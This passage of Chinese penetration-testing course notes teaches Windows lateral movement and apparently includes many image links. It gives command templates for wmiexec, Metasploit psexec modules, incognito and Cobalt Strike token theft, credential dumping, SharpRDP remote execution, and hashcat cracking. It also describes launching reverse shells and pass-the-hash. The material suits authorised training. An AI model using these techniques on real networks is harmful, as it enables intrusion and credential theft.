https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_64.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_66.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_67.png

  1. 获取一个跳板机的Meterpreter会话。

  2. 通过upload命令将psexec.exe等工具上传到跳板机。

  3. 进入跳板机的shell环境(shell命令)。

  4. 在跳板机的shell中执行横向移动命令,攻击内网其他主机。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_69.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_71.png

在Cobalt Strike中操作

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_73.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_75.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_77.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_79.png

  1. 通过Beacon控制一台跳板机。

  2. 使用upload功能将外部工具上传。

  3. 在Beacon中使用executeshell命令运行上传的工具。

  4. 重点是利用工具在远程主机上执行反弹shell的命令,使新主机回连到你的Cobalt Strike团队服务器,从而扩展控制范围。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_81.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_83.png


第四部分:SharpRDP工具简介

除了上述基于SMB和WMI协议的工具,还可以利用RDP(远程桌面协议)进行横向移动。SharpRDP是一款.NET工具,允许在远程主机上执行命令。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_85.png

其基本原理是通过RDP协议连接到目标,并利用漏洞或特性在目标系统上启动进程。由于RDP是Windows常见的管理协议,此类操作可能更不易被察觉。具体使用方法需参考该工具的专门文档。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_87.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_89.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_91.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_93.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_95.png

总结 🎯

本节课我们一起学习了内网横向移动的外部工具。

  • 我们掌握了psexecsmbexec工具的原理与用法,它们通过创建服务来实现远程命令执行。

  • 我们了解了wmiexec.vbs脚本如何弥补wmic无回显的缺陷。

  • 我们探讨了如何在Metasploit和Cobalt Strike两大渗透框架中,结合这些工具进行高效的横向移动。

  • 最后,我们简要介绍了利用RDP协议的SharpRDP工具。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_97.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/0b422fb9f26aa4358ebbcda4a0236550_98.png

掌握这些外部工具,能显著提升你在内网渗透中的横向扩展能力。请务必在授权环境下进行练习,并理解每种工具背后的原理。

080:内网横向移动技术详解(P80)🚀

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_0.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_2.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_4.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_5.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_7.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_9.png

在本节课中,我们将学习内网横向移动的几种核心方法,包括使用smbexec、psexec、wmiexec以及sharpRDP等工具。我们将深入探讨这些工具的原理、使用方法,以及在Metasploit(MSF)和Cobalt Strike(CS)平台下的具体操作。课程内容旨在让初学者能够理解并掌握这些技术。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_11.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_13.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_15.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_16.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_17.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_18.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_19.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_20.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_21.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_22.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_24.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_26.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_28.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_29.png

1. WMIExec脚本使用回顾 🔄

上一节我们介绍了WMIExec脚本的基本使用。本节中,我们来看看如何通过该脚本执行命令并获取结果。

通过脚本的shell参数,我们可以直接获得一个CMD会话。以下是其基本使用演示:

  • 执行命令:脚本能够在远程主机上执行指定的系统命令。

  • 获取回显:执行命令后,结果会回显到控制台。

  • 反弹Shell:我们可以将执行的命令更改为反弹Shell的命令。例如,使用PowerShell脚本通过mshta方法加载,从而在CS服务端接收到来自目标主机的会话。

核心命令示例(概念性)

# 假设的wmiexec脚本调用格式
python wmiexec.py 域名/用户名:密码@目标IP "执行的命令"

同理,在MSF框架中,也可以利用相应的模块实现类似功能。


2. MSF中的横向移动模块 🛠️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_31.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_33.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_35.png

在MSF框架中,集成了多种用于横向移动的模块,简化了我们的操作。以下是三个关键模块的介绍:

2.1 psexec_command

此模块的功能是远程执行命令。其原理与我们之前讨论的psexec类似,但已集成到MSF中。我们只需设置好要执行的命令(例如whoami),模块便会通过psexec在目标主机上执行并返回结果。

2.2 psexec_payload

此模块与psexec_command的不同之处在于,它可以让我们直接获得一个Meterpreter会话。我们通过配置相应的payload,便能在执行后获得目标主机的会话控制权。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_37.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_39.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_41.png

2.3 smb_ms17_010_command

此模块利用SMB协议(网络文件共享协议)的漏洞(如MS17-010)来执行命令。要访问远程主机的SMB服务,通常需要提供账号密码进行身份验证。在已知凭证的情况下,我们可以利用此模块执行命令或获取会话。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_43.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_45.png

模块调用流程(概念性)

  1. use exploit/windows/smb/psexec

  2. set RHOSTS [目标IP]

  3. set SMBUser [用户名]

  4. set SMBPass [密码或哈希]

  5. set payload [选择payload]

  6. exploit

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_47.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_48.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_50.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_52.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_54.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_56.png

3. Token窃取原理与应用 🔑

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_58.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_60.png

Token(令牌)是Windows系统中权限访问控制的核心。掌握Token窃取技术对于权限提升和横向移动至关重要。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_62.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_64.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_66.png

3.1 Token简介

Windows主要有两种令牌:

  • 委托令牌(Delegation Token):用于交互式会话登录(如远程桌面登录)。

  • 模拟令牌(Impersonation Token):用于非交互式登录(如通过net use访问文件共享)。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_68.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_70.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_72.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_74.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_76.png

关键点:用户登录后生成的令牌在系统重启前一直有效。具有委托令牌的用户注销后,其令牌会转变为依然有效的模拟令牌。

3.2 在MSF中进行Token窃取

MSF集成了incognito模块来实现Token窃取。以下是基本使用步骤:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_78.png

首先,加载模块并查看帮助:

load incognito
help incognito

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_80.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_82.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_83.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_85.png

常用命令列表:

  • list_tokens -u:列出当前主机上存在的用户令牌。

  • impersonate_token [令牌名]:模拟指定的令牌,获得其权限。

  • steal_token [PID]:窃取指定进程ID(PID)对应的用户令牌权限。

  • rev2self / drop_token:返回窃取令牌之前的原始权限状态。

操作示例

  1. 通过ps命令查看进程列表,找到具有高权限(如域管理员)用户令牌的进程。

  2. 使用steal_token [高权限进程PID]窃取该令牌。

  3. 使用getuid命令验证当前权限已变更为高权限用户。

  4. 此后,便可以此高权限身份进行横向移动等操作。


4. Cobalt Strike(CS)中的横向移动实践 ⚔️

在CS中,我们可以利用图形化界面和强大的功能进行高效的横向移动。

4.1 信息收集:凭证与主机发现

进行横向移动前,需要收集凭证和存活主机信息。

以下是获取凭证的步骤:

  1. 在已有的会话上右键,选择 Access -> Dump Hashes 或直接在Beacon中执行 hashdump 命令,获取密码哈希。

  2. 执行 logonpasswords 命令(或通过 mimikatz 模块)尝试获取明文密码。

  3. 获取的凭证会存储在 View -> Credentials 中。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_87.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_89.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_91.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_92.png

以下是进行主机探测的步骤:

  1. 使用 portscan 功能对目标网段进行扫描(如使用ARP扫描方式),探测存活主机及开放端口(如445, 3389)。

  2. 扫描结果会在 Targets 视图中列出,已获得会话的主机会加粗显示。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_93.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_95.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_96.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_98.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_100.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_102.png

4.2 使用PsExec横向移动

在发现目标主机后,可以利用获取的凭证进行横向移动。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_104.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_106.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_108.png

操作流程如下:

  1. Targets 视图中的目标主机上右键,选择 Jump -> psexec

  2. 在弹出的窗口中,选择之前获取到的有效凭证(如域管理员账号和明文密码)。

  3. 选择用于接收反弹Shell的监听器(Listener)和当前的跳板机会话(Session)。

  4. 点击攻击后,若成功,会在CS中接收到目标主机的新会话,并且通常是System权限。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_110.png

4.3 在CS中进行Token窃取

CS同样支持Token窃取,通常需要上传incognito等工具到目标主机执行。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_112.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_114.png

常用操作列表:

  • 列举令牌execute-assembly Incognito.exe list_tokens -u

  • 制作令牌make_token 域名\用户名 密码 (此命令使用已知明文密码创建令牌)

  • 窃取令牌steal_token [PID] (需先通过 ps 命令查看进程PID)

  • 令牌清除rev2self

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_116.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_117.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_118.png

图形化操作:在CS的 Explore -> Process List 中,可以图形化查看进程列表,并在高权限进程上直接选择 Steal Token,其本质是执行了上述窃取命令。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_120.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_122.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_124.png

通过Token窃取获得高权限(如域管理员)后,可以更方便地访问域内其他资源(如域控共享)或发起新的横向移动。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_126.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_128.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_130.png

5. 使用SharpRDP进行横向移动 🖥️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_132.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_134.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_136.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_138.png

SharpRDP是一个利用远程桌面协议(RDP)进行身份验证后命令执行的工具。它提供了一种横向移动的替代方法。

其基本使用方法如下:

SharpRDP.exe computername=目标IP command="执行命令" username=域名\用户 password=密码

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_140.png

使用示例

我们可以将command参数设置为反弹Shell的命令(例如通过PowerShell或mshta加载CS的Payload),从而在目标主机上执行并获得会话。需要注意的是,该工具本身不提供回显,主要用于在远程主机上执行命令。

工具编译说明

许多安全工具(如SharpRDP)在GitHub上以源代码形式提供。对于C#项目,我们需要使用Visual Studio进行编译:

  1. 使用Git克隆项目到本地。

  2. 用Visual Studio打开解决方案文件(.sln)。

  3. 在解决方案资源管理器中右键项目,选择“重新生成解决方案”。

  4. 编译后的可执行文件通常位于 项目目录\bin\Release\ 下。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_142.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_144.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_146.png

掌握从源代码编译工具是一项基本且重要的技能。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_148.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_150.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_152.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_154.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_156.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_158.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_160.png

总结 📚

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_162.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_164.png

本节课我们一起深入学习了内网横向移动的多种关键技术:

  1. 回顾了WMIExec的使用,包括命令执行和反弹Shell。

  2. 掌握了MSF框架中psexecsmb漏洞利用等横向移动模块。

  3. 深入理解了Token窃取的原理,并在MSF和CS平台上实践了列举、模拟、窃取令牌的操作。

  4. 系统演练了在Cobalt Strike中进行信息收集(凭证、主机)、利用PsExec横向移动以及Token窃取的全过程。

  5. 了解了SharpRDP工具的用途和基本使用方法,并学习了如何编译C#项目源代码。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/a6be19247068b456aa8c71b93958e237_166.png

这些技术是内网渗透测试中突破边界、扩大战果的核心手段。请务必在授权和合法环境下进行练习,以巩固所学知识。

081:域认证及HASH传递攻击

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_1.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_3.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_5.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_6.png

在本节课中,我们将要学习Windows操作系统的认证机制,以及一种重要的横向移动攻击方法——哈希传递攻击。理解这些核心概念对于进行内网渗透测试至关重要。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_8.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_9.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_11.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_13.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_14.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_15.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_16.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_17.png

🔐 Windows认证机制概述

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_18.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_19.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_21.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_22.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_23.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_25.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_27.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_29.png

上一节我们回顾了横向移动的基础知识,本节中我们来看看Windows系统是如何验证用户身份的。Windows认证主要分为三个部分:本地认证、网络认证和域认证。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_31.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_33.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_35.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_37.png

本地认证

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_39.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_41.png

本地认证是指用户直接登录到本地计算机的过程。其核心流程如下:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_43.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_44.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_46.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_48.png

  1. 用户输入密码:用户在登录界面输入用户名和密码。

  2. 系统计算哈希值:Windows系统将用户输入的密码通过特定算法(如NTLM)计算成哈希值。其公式可表示为:

    NTLM Hash = MD4(UTF-16-LE(password))

  3. 与SAM数据库比对:系统将计算出的哈希值与存储在本地SAM文件数据库中的对应账户哈希值进行比对。

  4. 验证结果:如果哈希值匹配,则认证成功,允许登录;否则失败。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_50.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_52.png

本地认证的密码哈希存储在C:\Windows\System32\config\SAM文件中。lsass.exe进程负责处理此认证流程,并会在内存中临时保存明文密码,这也是Mimikatz等工具能够抓取明文密码的原理。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_54.png

网络认证(NTLM挑战-响应机制)

当一台计算机需要访问同一工作组内另一台计算机的共享资源时,会触发网络认证。这是一个挑战-响应过程,主要分为三步:

以下是NTLM认证的三个核心步骤:

  1. 协商:客户端与服务器协商使用的协议版本(如NTLM v1或v2)。

  2. 质询

    • 客户端将用户名发送给服务器。

    • 服务器检查用户是否存在。若存在,则生成一个随机数(Challenge),并使用该用户存储在服务器端的NTLM哈希加密此随机数,生成Challenge1存储在内存中。同时,服务器将明文的Challenge发送给客户端。

    • 客户端使用用户输入的密码生成的NTLM哈希,加密收到的Challenge,生成Response并发送回服务器。

  3. 验证:服务器使用自己存储的NTLM哈希加密Challenge得到Challenge1,并与客户端发来的Response进行比对。若一致,则认证通过。

在此过程中,网络上传输的是Net-NTLM Hash(即Response),而非原始的NTLM哈希。Net-NTLM Hash可以被工具(如Hashcat)暴力破解以尝试还原明文密码。例如,使用Hashcat破解的命令格式如下:

hashcat -m 5600 netntlm_hash.txt password_dict.txt -o found.txt

其中,-m 5600参数指定了破解Net-NTLMv2哈希。

域认证(Kerberos协议)

在域环境中,认证主要通过Kerberos协议完成,它引入了一个可信的第三方——密钥分发中心。这个过程比前两种更为复杂。

上一节我们介绍了工作组环境下的认证,本节中我们来看看域环境的核心认证协议。Kerberos认证涉及三个主要角色:客户端、服务端和密钥分发中心。其简化流程如下:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_56.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_58.png

以下是Kerberos认证的关键步骤与核心票据:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_60.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_62.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_64.png

  1. 认证服务交换:客户端向KDC的认证服务发送包含用户名的请求。AS验证用户后,生成一个票据授予票据和一个会话密钥,用用户密钥加密后返回给客户端。

  2. 票据授予服务交换:客户端解密获得TGT和会话密钥。然后向KDC的票据授予服务发送TGT和请求访问的服务信息。TGS验证TGT后,生成一个用于访问特定服务的服务票据和新的会话密钥,返回给客户端。

  3. 客户端-服务器交换:客户端将服务票据发送给目标服务器。服务器验证票据有效性后,建立连接。

在整个流程中,涉及多种密钥:

  • Client Key:用户密码的NTLM哈希。

  • TGS Keykrbtgt域账户的NTLM哈希,用于加密TGT。

  • Service Key:服务对应用户账户的NTLM哈希,用于加密服务票据。

理解Kerberos流程是理解后续票据传递攻击的基础。

⚔️ 哈希传递攻击

在无法获取明文密码,但获得了用户密码的NTLM哈希值时,可以使用哈希传递攻击进行横向移动。

上一节我们深入了解了各种认证机制,本节中我们来看看如何利用哈希值直接进行攻击。PTH攻击允许攻击者仅凭哈希值即可通过认证,无需知道明文密码。

攻击前提条件

以下是成功实施PTH攻击通常需要的条件:

  • 目标主机开放445端口。

  • 目标主机开启IPC$共享或ADMIN$共享。

  • 拥有目标账户的NTLM哈希值。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_66.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_68.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_70.png

